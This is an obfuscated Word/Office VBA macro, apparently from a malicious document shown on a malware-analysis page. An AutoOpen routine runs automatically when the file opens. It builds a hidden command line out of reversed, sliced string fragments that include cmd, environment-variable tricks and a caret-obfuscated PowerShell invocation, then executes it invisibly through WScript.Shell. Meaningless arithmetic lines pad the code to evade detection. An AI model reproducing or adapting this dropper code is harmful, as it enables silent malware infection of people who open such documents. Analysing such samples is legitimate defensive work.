SLXaQiF = TzCVNt("Z%sRDAQNAIDA5AQZAQGAxAgYAMDAhBgYAIGAkBAMAEDA2AgMAMDAwAQMAgDAiBgZAQDA1AgMAgDAkBAMAEGAxAANAUGAwAAZAADAiBgNAIGAmBAZAADA3AwYAQDAyAQNAUGA3AANAIDAiBQMAYGAyAQZAIGA4AwMAQDAzAwYAIDAmBgNAYDAyAAu7", 3 + 0, 178 + 0)
      bvdzR = Hex(wlpHj / Int(75695))
      nSSzcv = vKfjnp / GtcpH
      lqiHw = zJwztk + YTzhG
      zPjzI = Hex(YKnHDU / Int(96487))
      PEnDaT = RMzqhZ / Ljfkwl
      qQLLM = TIRGnl + bLowDE
LAYZzEbjhH = TzCVNt(" 7wMFS)))))232,9,842,601,302,832,9,691,052,04,631,142,05,332,391,IB", 3 + 0, 59 + 0)
      jChIbU = Hex(zDcTWM / Int(29555))
      obsNl = IusDw / Uzvjju
      tojDks = TFpnR + bBWNE
      EKFzMC = Hex(LsiTq / Int(10731))
      iLfwiG = XjCnaE / GRtJA
      QrdVua = LhfiKf + awtEi
vRTGjU = TzCVNt("742VUjA5AQZAQGAjBAZAK2J", 4 + 0, 14 + 0)
      hjdDJm = Hex(qEbpKp / Int(23159))
      miKDDS = qAYdvE / IXpaXM
      NaLIcz = GqTUT + nQjAi
      oMTcs = Hex(SjUTGI / Int(39484))
      kEhtTw = RUHDbk / odzvk
      avQdK = AawGR + mZTKi
AWtQpzVVDc = TzCVNt("cSAMAkDA2AQNAQDAkBANAcDA4AQZAUGAjBgZAgDA4AgNAcDA2AgMAYDA08wc,", 5 + 0, 55 + 0)
      nkTXrL = Hex(QrKrq / Int(43626))
      XHIpn = iEzLS / qwpKo
      wDIztC = FDuXp + HkGiiR
      cLbHLz = Hex(UqnGu / Int(26091))
      DuiRTz = YhHEa / MDCIRw
      czoEhq = CLrYw + FLVFul
hmzwBiJCRR = TzCVNt("mz7iRgZAMDAiBwMAIDAwAAZAkDA3AQOAMGAwAANAQGAlBgYAMDAwAQYAQGA3AQOAUDAlBQMAMGAzAwMAYGA3AgYAEGA2AgZAMDAxAQMAEGA5AANAUDAxAANAYDA0AgMAgDA3AgYAMGAhBQOAkDAiBwNAkDA2AAp", 2 + 0, 153 + 0)
      HDdUC = Hex(wMQnfo / Int(96904))
      DEGij = wRNqiG / tBizNj
      iYVUBz = olXLkA + CGObL
      CWiwi = Hex(IkWdFT / Int(45255))
      Wdzjjh = wPjaM / NfrFZa
      acqbn = sZPMNu + XwlknN
WOjmpM = TzCVNt("6VUwGA0AQMAEGA2AgZAQGAhBgNAIDAxAAMAgDA3AANAMDAjBQZAMGAjBAMAkDA1AgZAYGAkBgZAUGAlBgNAcDAwAgMAYDAiBANAYGAwAQOAMtO", 3 + 0, 104 + 0)
      iGHwW = Hex(nuFfX / Int(61024))
      CQumYv = owjCW / TRQtGR
      KqTVr = VtzTk + iCqHCz
XiECIbRiJNmi = jbQwcutLluzj + sKbfaEcr + THHXjlVCNzG + Chr(34) + VdLYFUhLwZuUZK + jbzwHjoq + ZEsBtO + MjpozFsszC + XdnqCw + mXMLMNKXV + oGUBUwKlz + wzVqKjO + oJVJNfkD + EbDLOUwXRGv + XXSznOm + rjSYadjM + UrVzVmbadjt + AvhizpZlzNR + HvwnFNFjw + AWtQpzVVDc + UWAGuF + MiDcSXz + vRTGjU + iNpTuzNi + tNzXEqi + umqTUALJ + Fppiql + rPuou + ioCftZwZowi + WOjmpM + uTHFdzkcJ + wNTpriR + LjVQd + bmENtzBiqv + vItiiwsHJFL + aSLPifbdzo + CnfSllN + wCouwRPSUB + dEIkiTkFsiX + YOdWCXFsRD + bZfTwEY + pFBElzllkY + odrPRir + hmzwBiJCRR + XjSOmJTfm + wVFkJKf + GCXZww + tVmOHMp + athoVzz + VOouJawb + SLXaQiF + kIXfvjCjf + viCzihTsV + PczOCMlB + mOBoF + YzjlJQsUtJI + zickmzP + iqDjT + LAYZzEbjhH
      fvMndc = Hex(OuuZB / Int(68175))
      tQONW = TILjO / fKdEr
      AkAis = OWLPRi + SzACJf
End Function

Attribute VB_Name = "AkpDHAwLPYawAM"
Function THHXjlVCNzG()
On Error Resume Next
      taBpZI = Hex(ziGdV / Int(60862))
      JiPnRE = FYYim / qKSdDv
      EadWZW = MEvpcv + NBvbH
bmENtzBiqv = TzCVNt("SSS.B7l=%zkSozPRlR% tes&&U6f", 4 + 0, 19 + 0)
      roCdG = Hex(QYoPcZ / Int(50234))
      siBsOu = pBdiG / adIXCw
      qQYzPm = HYoSQ + zZiAC
      vNkXE = Hex(PSfqC / Int(4471))
      IwDKjD = kdUoa / VbHsb
      AIELA = PMLww + znTOY
GCXZww = TzCVNt("Izii7GS6", 6 + 0, 1 + 0)
      jFOuaS = Hex(vzpCoK / Int(74922))
      iCVEl = JRrro / PpnvGC
      IVKFil = FDZJX + JpVlwK
      AsiSNm = Hex(wPPjw / Int(37985))
      mjNkk = OOjjU / WamiGm
      wiVZT = JwaXjc + bbfwkd
MjpozFsszC = TzCVNt("zJB%RfMSkEjpja%!&&w", 2 + 0, 13 + 0)
      EVlIuw = Hex(QdKhI / Int(95745))
      VfQJu = aSnrDG / Ruvpzd
      SdzNf = ZtSQq + fMGwO
      VtINbt = Hex(iQwlWu / Int(83839))
      tslIi = LiBldf / SjThP
      udJZi = micvl + XkXhhJ
ioCftZwZowi = TzCVNt("UaBvtHJVdQlhhFtpQ% tes2UR", 4 + 0, 19 + 0)
      MKJOH = Hex(wOlQjd / Int(6075))
      awojT = Iwzij / HFvik
      JLCKlP = wjlAN + RiVzni
      vcDCE = Hex(UsUajn / Int(43370))
      QGRbaX = rFIio / jvwRb
      vvJmR = EsQPL + XWDAoB
UWAGuF = TzCVNt("T2w%!=%nqXMAwp% teE.SB", 5 + 0, 15 + 0)
      aRREWu = Hex(QVowW / Int(16361))
      TbzGT = HVfnc / iKRHfH
      cBBdqm = zDjETs + ZDvDu
      tIAQzP = Hex(pPViUZ / Int(19449))
      twRdC = XbQjiN / bqmPj
      ARshjD = VbOdjB + LJiTdA
CnfSllN = TzCVNt("i4SGZ28!%rhPFuEzmKpuImv%!4", 2 + 0, 18 + 0)
      WhkjT = Hex(FNZjS / Int(71929))
      JtAQlZ = SvMmA / ONSLTl
      mijIBM = cHCiK + ZpRIOh
      juBMIw = Hex(TzGUO / Int(75743))
      zcCSNV = qplwob / kizoi
      iEHTc = fTVXRA + qSCwf
tVmOHMp = TzCVNt("i6sdb !%zkSozPRlm", 2 + 0, 11 + 0)
      HRpFQP = Hex(XdjUJ / Int(61009))
      ZLsUjp = pJVRUw / kGihRH
      vszrDI = BjAOl + iiahN
      IqGhVO = Hex(uzunSY / Int(61512))
      Ybitc = ohvEuR / QBZmv
      VrtCrc = ltGiwt + lWFzB
ZEsBtO = TzCVNt("Ud4X% ,wS", 4 + 0, 3 + 0)
      GUJKda = Hex(ciwVBW / Int(79239))
      MfZrR = FubQFA / duvbk
      dAiiY = fXHwk + bEFZqj
      jCibBz = Hex(MDBJJj / Int(80545))
      CawJi = MkbqL / wKJKR
      hvvTaa = jjazmX + iOEJl
zickmzP = TzCVNt("J,imNJiRbICEzwR", 4 + 0, 9 + 0)
      ZqWRH = Hex(phdCuq / Int(83988))
      CtGjz = SBbmn / SLjiGA
      zMqZi = plKCi + HuBzoH
      jvsPUp = Hex(abbuoq / Int(75358))
      QJKCV = qKlXi / CWAnES
      twjCJ = fboab + MQwEb
XdnqCw = TzCVNt("c8iaPjw=%BBJmBV", 6 + 0, 8 + 0)
      ZISqk = Hex(smDqE / Int(52919))
      qVitDk = BtquB / KBVVGR
      RiKtC = ZKXEo + Nllzh
      YNTPdc = Hex(cYRzmd / Int(67416))
      NqSJn = IHbUML / fcojw
      qLUhC = dwRZTO + SXanQ
rPuou = TzCVNt("nUJz7MvOjv=%vKQarOYpb%7G", 4 + 0, 15 + 0)
      AVQGs = Hex(QQawvd / Int(32174))
      TsotIQ = KhqiIG / siFpXT
      oaFcnm = CAVvC + Eaiji
      USkzX = Hex(wBGLI / Int(298))
      BBfWu = vOvVfS / THulwt
      roEXkj = oczfwr + ujfTi
AvhizpZlzNR = TzCVNt("tGs&&s=%ztcPETRTd6.Gir", 6 + 0, 15 + 0)
      GJYzE = Hex(flpHVO / Int(28511))
      RMzHl = wGmwp / aiZaPS
      arhPG = FEMzV + Qjprij
      rtizl = Hex(ozIDG / Int(65804))
      zIhZX = FlQWiB / NdGGML
      iBpYRw = RHaVN + QZrlk
wzVqKjO = TzCVNt("uc,iOrifmMMV6", 2 + 0, 4 + 0)
      TSWaW = Hex(zHIKqB / Int(81022))
      zbvSJH = doipAV / NnmUWC
      SIaTcU = NGQZfS + piYbd
      XzTWdm = Hex(BAozC / Int(36289))
      tmVwdl = jXSHV / DTdYO
      HDvKz = lFULW + jDZzPJ
MiDcSXz = TzCVNt("Ufa8v% tes&&DcK", 3 + 0, 9 + 0)
      CBSrc = Hex(OIWGh / Int(43239))
      lzLWz = XbsfDU / oXRqF
      UVLBp = TIjOP + mpHsks
      TwYTw = Hex(nXwqu / Int(67964))
      rfiCC = jwkhTp / wIjpFq
      wTPuR = ZiwBXn + qzClA
VOouJawb = TzCVNt("8JzSkEjpja% tes&&7JG", 4 + 0, 14 + 0)
      zLQjR = Hex(iUVir / Int(12953))
      DhKYQj = cVBAjJ / jkwFuo
      tqjkzp = GDDFum + YjbmCQ
      zkSnM = Hex(WdDkzk / Int(8483))
      HTvZFp = rhZCi / hWniq
      QQZthw = FFbOF + pDlrS
YzjlJQsUtJI = TzCVNt("i4JGFz% tes.pB", 4 + 0, 7 + 0)
      XmsICt = Hex(dbpHPB / Int(17287))
      nWhZO = wkFPTT / szwiVE
      sYIXA = UfPwMN + PBjDSD
      kqPOEA = Hex(TfCmJ / Int(9651))
      KWLou = FpSKh / TVtPb
      juFnoU = IzzzvK + ZZMdL
bZfTwEY = TzCVNt("7U4wl4K", 3 + 0, 1 + 0)
      VajvYF = Hex(zhiZQa / Int(91050))
      KUWiq = lXIrWz / htJQD
      VINJPi = taVXhV + mPFpu
      ZbYBU = Hex(MvMAsl / Int(52240))
      iMDBM = Hzjlw / qVAKLq
      XuBzAT = mZQwI + LPlbI
wVFkJKf = TzCVNt("f8uR%!!%EBORDjkl%az7", 4 + 0, 14 + 0)
      rfPZv = Hex(DrwruB / Int(78987))
      zDUhM = iJbii / diSajZ
      GwJHU = MzbEv + PHFTHv
      znhWV = Hex(wdEYtu / Int(4270))
      VkziD = wTmjvG / PXnmK
      QYPzpa = QVLFcj + dRVPL
dEIkiTkFsiX = TzCVNt("rFpaGuaWZdjjJadU=%Kitw.", 3 + 0, 16 + 0)
      QCjBw = Hex(PUiGQl / Int(68048))
      lfFnJH = icHjH / lizCY
      ljOsOz = LbhPv + sljwL
      pzBIE = Hex(FpYRa / Int(17152))
      jFcIm = KEpzbi / RwdtV
      NsvpK = DIimd + JQXuQG
iqDjT = TzCVNt("utU%OhbOAJIa=%DpDOqsVQnd%4", 4 + 0, 19 + 0)
      MzmJA = Hex(aiiCH / Int(24523))
      wMvXnQ = EjYbS / PRNwX
      WjJPai = mkYUGb + zlzUz
      FzniF = Hex(drwIH / Int(62733))
      uoCNb = RjErd / nkAMKc
      rrtNar = AlRLr + bUdwL
oGUBUwKlz = TzCVNt("a6&&!%28wp2", 6 + 0, 4 + 0)
      fJocBG = Hex(lRndi / Int(78169))
      SocAbc = ZFjPs / IRSGD
      fwjDO = GPFkNI + XLCmsc
      wfCLq = Hex(GLqdv / Int(19668))
      wiYPMP = iTuNdr / clFLSv
      XMPAsS = GDMcsJ + GTucw
pFBElzllkY = TzCVNt("4JK6tes&&p=z8Y.w", 6 + 0, 7 + 0)
      likohw = Hex(dZlSd / Int(28505))
      ZRJOU = QbPill / lVRKiV
      vscaS = zChStw + IopJjI
      LmmTBQ = Hex(ZvfUV / Int(11361))
      vZWnhh = qSMXNL / infSZ
      zEvjGj = LnWbs + iUNTz
mOBoF = TzCVNt(",r,%lZGjZEA%!=%jXrfMwi,84z", 7 + 0, 17 + 0)
      SCVTZv = Hex(FFqIAB / Int(92090))
      irinh = SjDwli / dmVTi
      HsbkW = SiJViW + zAzdj
      wsadiS = Hex(NjUOY / Int(36861))
      kJEPAS = QOEmv / fQmEw
      qwiBET = VrJdO + ROZaw
umqTUALJ = TzCVNt("aW4.Gu!!%ztcPETRTdFz7mt", 4 + 0, 14 + 0)
      zNXjdW = Hex(mOozzP / Int(35698))
      coGIAw = zdGkpb / oFqoUw
      SPAiN = vjuMOv + oaTRz
      aTvrCT = Hex(KMXlfH / Int(49101))
      MIlKwD = zFjFq / sSQHX
      njPoTT = Jzawo + JhZaM
uTHFdzkcJ = TzCVNt("6 7DR6IhLfmC% teiY", 3 + 0, 10 + 0)
      roRUp = Hex(zcfSt / Int(13793))
      IamTzU = qZuJY / vwhST
      DmfsWM = fVqrq + TTjfX
      jOiBqi = Hex(ZECMA / Int(77801))
      LUDzn = JdcJK / BTqLX
      nUtoPF = ZtZai + DDdmLh
UrVzVmbadjt = TzCVNt("qi4izD.Seh=%EBORDjkl% tes2", 2 + 0, 17 + 0)
      UvmFl = Hex(rSdDj / Int(87049))
      cNTTWF = iObjCu / GVXjid
      PsinC = Ozvpqj + AqjKQ
      IRGjcT = Hex(EFtuo / Int(67249))
      jutVr = DKmIr / MCwEiZ
      ioZtHL = zcvRa + JnBbn
Fppiql = TzCVNt("J72%lZGjZEA% tes&&tGnv7,R", 7 + 0, 16 + 0)
      Ehrzfz = Hex(dHGIAL / Int(40339))
      AiGAlK = YaOUhV / YBUQAV
      qquvP = GtUvGF + JIuaC
      dZdjzq = Hex(IRWIf / Int(90744))
      YifsZ = tlrTj / rnqMA
      QpFwD = CnlGj + RdXZU
YOdWCXFsRD = TzCVNt("wKBFicWtoTjc6BT", 4 + 0, 6 + 0)
      DMIUms = Hex(JAuzlS / Int(8591))
      BOGSc = TpmdmE / CFhRT
      JowwC = OtMIo + ocwPPR
      UPZLz = Hex(IApmsw / Int(50263))
      MZtBGw = zbFtC / YQNwh
      DNznlO = WVmDf + aRTvK
XXSznOm = TzCVNt("RSGs&&r^e=%rhPFuEzmKpusUR", 4 + 0, 19 + 0)
      RuzWoT = Hex(zRjkc / Int(76773))
      GWhMm = njaCL / aibzF
      CCPvG = LTTQGm + KPUJDj
      GsJbr = Hex(tQchVk / Int(39865))
      XnJdtf = mnMwf / UKoMPh
      wwDJMC = tjFzNm + imhiqa
oJVJNfkD = TzCVNt("cS2vYYwWX%7Usn4.", 7 + 0, 7 + 0)
      UFzfMA = Hex(GoUGD / Int(76095))
      ajzRqt = FhOist / XHdYGq
      rFdzCN = rkrKwp + ChRAj
      GpmtA = Hex(EEMKsi / Int(32682))
      NMLZDQ = KGGriq / NAqhY
      SWNTA = vVzPjY + RuSzzR
wNTpriR = TzCVNt("Uq7s%!w776", 5 + 0, 2 + 0)
      VvijBR = Hex(CqMTLF / Int(22275))
      qzsYPU = LqZSD / HuCsQ
      kWnhRj = tfnwVS + nDTFZ
      rsUwc = Hex(uXizq / Int(9195))
      aRjjj = azYzqn / PSPtJ
      KsJnP = MwRaYm + fotuXz
tNzXEqi = TzCVNt("6EzvVXwzG,", 4 + 0, 2 + 0)
      GvKTu = Hex(KWscIk / Int(76681))
      tKRiUC = lIWAL / HRWXr
      BzPhps = WqDpRn + AlicQC
      AiELAr = Hex(mscVm / Int(23794))
      IKQnjm = EmZPq / EQwDtC
      mlfuV = SfkVGw + YtZon
PczOCMlB = TzCVNt("i6cP!%nqXMAwp%!!%jXrs4z", 4 + 0, 16 + 0)
      acvviw = Hex(uKVvY / Int(53737))
      DDXfVS = UoURT / jYLqI
      Ccjqp = wLoIJ + wiOFVW
      WpEYsC = Hex(dikusv / Int(1782))
      ufjbiS = TniCA / FYtVDK
      aqqlr = TamkK + ICBjc
aSLPifbdzo = TzCVNt("c6znSUBimNJiRbICEiXY8", 3 + 0, 12 + 0)
      wjSWR = Hex(qCCXJr / Int(46909))
      liFEpz = YwdjDT / ruDpQL
      dzDZv = pIvQvM + kZwzu
      SPQcP = Hex(rKUbD / Int(76054))
      JFcSjK = sWmpMX / YpQSFw
      IQqBNl = RtRGaf + UVtsdf
mXMLMNKXV = TzCVNt("YGIm7rEK28E", 8 + 0, 2 + 0)
      wcaPsn = Hex(VDJzo / Int(31847))
      plQTY = adVjm / zDTXac
      zMnQm = zLwqI + lPffk
      wTfSB = Hex(conjfc / Int(88235))
      vbsaS = mIhul / aarnu
      vJSfu = VpDFd + tuzzoG
HvwnFNFjw = TzCVNt(",fKuR&&BkfF.", 3 + 0, 5 + 0)
      wGhio = Hex(khzJCz / Int(99146))
      JhkAPj = EdJjio / qGblk
      wPNait = iYfBI + DjNMwY
      IilAZz = Hex(zAXbp / Int(47485))
      jrzJIj = FZvNjH / mqjvwb
      ORcdFN = fsBSn + iFGusj
odrPRir = TzCVNt("Jj tes&&!GtWIMv", 7 + 0, 7 + 0)
      CFqmpp = Hex(LJrjrw / Int(88409))
      ZXjDS = ZhtvvQ / jklCSn
      JbpnPa = WBUbr + KfjOpN
      IGkiR = Hex(mkTzB / Int(22234))
      HduHaE = duXOZi / WbNRW
      OQSGp = RSWJZ + FlUiiM
kIXfvjCjf = TzCVNt("diGc8XLwWPn% tes&&w^o=%id", 2 + 0, 19 + 0)
      uKiOi = Hex(JiRQI / Int(11653))
      fGUqLn = TnTGl / jTwknz
      IcujC = lfYzCO + sAwQd
THHXjlVCNzG = ioCftZwZowi + XdnqCw + wzVqKjO + Fppiql + pFBElzllkY + ZEsBtO + GCXZww + zickmzP + kIXfvjCjf + iqDjT + VOouJawb + mOBoF + odrPRir + oJVJNfkD + YOdWCXFsRD + dEIkiTkFsiX + MiDcSXz + mXMLMNKXV + XXSznOm + UWAGuF + aSLPifbdzo + oGUBUwKlz + YzjlJQsUtJI + AvhizpZlzNR + uTHFdzkcJ + rPuou + tNzXEqi + HvwnFNFjw + UrVzVmbadjt + bmENtzBiqv + bZfTwEY + MjpozFsszC + PczOCMlB + CnfSllN + wNTpriR + umqTUALJ + wVFkJKf + tVmOHMp
      qupGq = Hex(dkmql / Int(63484))
      KEZDMl = bCmvnR / hGiUfH
      GHSVD = Yzwpm + aDwTz
End Function

Attribute VB_Name = "qhDvXiH"
Function jbQwcutLluzj()
On Error Resume Next
      DiZmA = Hex(mdwjf / Int(45401))
      opcwX = DVGFLJ / UCLKlS
      rNVtS = bbiOC + MdiowI
BSBvETzIU = TzCVNt("48SGpDGvnERUWUKG", 2 + 0, 7 + 0)
      pTvzdN = Hex(UnkRlu / Int(24553))
      MbTji = DcnrC / zBmNP
      CckvQ = fqonqQ + IjtQHU
      dDdSI = Hex(chsmi / Int(98518))
      ikUoBT = OjnPqQ / FGVUvj
      MssmdV = kivni + caYBd
KaRXwmp = TzCVNt("6hGv8     V/     %^c^EPa", 3 + 0, 17 + 0)
      aItPNc = Hex(nWaXSm / Int(29966))
      WrcBY = iiAsbL / FiiUq
      IcSci = lhiJK + BOuGjv
      hRGDiO = Hex(oEvboN / Int(36234))
      LoWzj = qPtKZL / NiZKsJ
      ztFUtP = KnVRUX + iuGMZX
XBnzwLABFa = TzCVNt("Wf nHSVfVDCWHifw HwzDmYUtUSw6Sj7cJ", 8 + 0, 25 + 0)
      CNsICK = Hex(ZWRvDh / Int(31502))
      iCEQv = cYtEoL / jSwTmu
      jNLqFD = REWRpL + MEHIb
      wsHjl = Hex(mCzib / Int(74269))
      IifBwP = WIXkqL / YaZIf
      wvmjiI = wLRlCi + qznnf
PcqsWqC = TzCVNt("i8JzZJB", 5 + 0, 1 + 0)
      choVX = Hex(ZwNbXZ / Int(91499))
      wNwwWo = jKqli / tRYnm
      fSRGRM = isikuL + mUcDq
      UDdnK = Hex(LmRwqq / Int(1037))
      WwGXJ = sTaGt / iKzZb
      BfawSO = buVaWA + KChoq
LGRtEsb = TzCVNt("64qTVm O", 5 + 0, 2 + 0)
      DdMAc = Hex(tGGBm / Int(85827))
      zpUiZ = rXiGXs / FVtcd
      iBpXT = UuVsU + jiACiq
      WqIHY = Hex(WrfmWH / Int(43762))
      vUiHc = pdUcP / VTUiz
      IzSVt = DXlTV + zGOvb
fOmmQML = TzCVNt("zcwp^S^m^o^C^%     &2c7K.", 6 + 0, 17 + 0)
      uTsadt = Hex(jsLiD / Int(42934))
      pLzZva = NDFbVH / iIwZr
      ndThTZ = MXsshz + UmGoA
      lEBfaY = Hex(WjwMa / Int(90771))
      rPIGc = kTBFbG / OJLiFq
      pmpZzh = joKVd + GIopEH
QFRMjn = TzCVNt(" VbF2K           c/    bU", 3 + 0, 17 + 0)
      wSCvD = Hex(ZvMVP / Int(13141))
      AaEaiH = DEiqkw / tFVVd
      avWjtW = IdUTvO + kfEOGz
      lGslO = Hex(FkRaU / Int(18939))
      brGGr = RJAui / jobIm
      waOACk = bcJiVJ + vJTLN
qDpaOdQB = TzCVNt("SY^p^S^m^o^C^%     %^c^E^6t8T7d", 7 + 0, 23 + 0)
      IcdBkM = Hex(jihdc / Int(59702))
      WiwbpV = PpIai / SJaUPu
      ZWzMQp = zwvfFq + tMLsW
      waMLw = Hex(UfVpvW / Int(9542))
      HqifsF = BBzvq / OcQYh
      mswjhH = nmFApw + PcabVH
JRQnGtMR = TzCVNt("zJ4S8Goirs rXPCjMErBHrvUu dmUY4", 4 + 0, 23 + 0)
      swZOPH = Hex(FCEQOl / Int(35800))
      IKBYGR = vAIzPn / CpDZFt
      ZRRzJi = BkaNIU + QZwAO
jbQwcutLluzj = JRQnGtMR + PcqsWqC + LGRtEsb + BSBvETzIU + XBnzwLABFa + fOmmQML + qDpaOdQB + KaRXwmp + QFRMjn
      BYFSr = Hex(UzONof / Int(48102))
      jtkYzj = tQhjGT / mPGYq
      uBLwHU = kmWlh + UlXpYD
End Function
Function TzCVNt(ByVal ajpjEkSMfrXj As String, RlRPzoSkz, lkjDROBE)
On Error Resume Next
      YjPNN = Hex(tOPGZL / Int(59251))
      aYRzom = FICaSj / ZikSs
      RTsnk = WJLsbA + OGfdX
      VjTbMm = Hex(wqpkVG / Int(36598))
      KGfiO = QbuPb / tRwtB
      cXhzs = AplfTa + UhLEz
jmJjTME = zJkEH + StrReverse(ajpjEkSMfrXj) + LlNCitvjI
      vjMOzd = Hex(UkHTs / Int(12027))
      hNwtCD = SZZhun / GlYrOq
      irlAVk = TAESf + URwCh
pwAMXqn = mdGnh + Mid(jmJjTME, RlRPzoSkz, lkjDROBE) + qmNzjc
      QFCVLt = Hex(SczZUO / Int(28088))
      SpoVK = DIYED / iwCUQc
      PPSvlJ = mKdjS + rXUXK
TzCVNt = STMziRH + pwAMXqn + BUafJsZzDztDLJ
      tfrlk = Hex(GiiKC / Int(19307))
      CSodd = wRkwX / tsUUiG
      IvTRm = WvupvV + iDwlL
End Function

Attribute VB_Name = "aALGJhULr"
Sub AutoOpen()
On Error Resume Next
      mKADz = Hex(ajABz / Int(12971))
      DcodP = qvjIOj / wpJkR
      fkIfv = HjdMk + STlIi
      DETAP = Hex(BlXwF / Int(70768))
      Pkcbi = wsLILN / zwvNPo
      ojMBi = GdJuJ + smUZqs
Application.Run "vmIupKmzEuFPhr", XiECIbRiJNmi
      Nhcsw = Hex(njDCq / Int(19322))
      QZkjXa = JoSiQz / UwiZFU
      aiMoQ = roCaTk + KTBlBP
End Sub
Sub vmIupKmzEuFPhr(zFdTRTEPctz As String)
On Error Resume Next
      zZOtbw = Hex(TkZdk / Int(79488))
      pvYvHh = UmsPf / ZBusX
      ilicGYcwD = "WScript.Shell"
      YKBPSM = UXEdz + vAUXdq
      hqdnWi = Hex(XzRpjF / Int(89379))
      PofFj = MhPIuj / YEdQCd
      hhOto = wVFPz + oiljrX
CreateObject(ilicGYcwD).Run HUJNib + Chr(VBA.vbKeyC) + zFdTRTEPctz + LwvoZdcliiZmRS + rbALCsGnXmsvV, vbHide
      YTkRqE = Hex(ZRpTPC / Int(91833))
      GFGoR = iNSYEF / XBjiG
      KOpUaN = RJKsnq + kRjmG
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.